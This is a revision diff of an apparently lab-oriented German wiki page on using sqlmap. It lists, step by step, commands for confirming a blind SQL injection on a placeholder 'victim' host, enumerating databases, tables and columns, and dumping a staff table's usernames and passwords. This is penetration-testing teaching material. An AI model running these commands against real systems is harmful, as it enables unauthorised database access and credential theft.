Sqlmap Anwenden: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 20: | Zeile 20: | ||
=Daten dumpen= | =Daten dumpen= | ||
| − | *sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter -C username,password --dump | + | *sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter -C username,password --dump --batch --string=VALID |
Version vom 24. Juni 2026, 13:21 Uhr
Ausgabe aller Parameter und Optionen
- sqlmap -hh
Datenbanken anzeigen (optional)
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --dbs --batch --string=VALID
Verwundbarkeit bestätigen
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --technique=B --batch --string=VALID
Tabellen der Datenbank tuxmen
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen --tables --batch --string=VALID
Spalten der Tabelle mitarbeiter
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter --columns --batch --string=VALID
Daten dumpen
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter -C username,password --dump --batch --string=VALID